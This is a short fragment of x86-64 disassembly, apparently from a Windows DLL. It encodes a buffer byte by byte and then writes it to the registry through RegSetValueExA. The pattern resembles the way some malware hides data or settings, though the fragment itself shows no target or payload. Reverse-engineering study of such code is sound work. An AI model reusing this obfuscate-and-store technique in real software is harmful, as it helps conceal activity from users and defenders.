mov r8, r10
nop dword [rax + rax]
mov eax, ecx
inc r8
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, cl
inc ecx
add byte [r8 - 1], al
cmp ecx, r9d
jl 0x180003a40
mov rcx, qword [0x18000b368]
lea eax, [r9 + 1]
lea rdx, [0x18000ac70]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop word [rax + rax]
movzx eax, byte [rbx]
inc rbx
mov byte [rdi + rbx - 1], al
test al, al
jne 0x180003a90
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret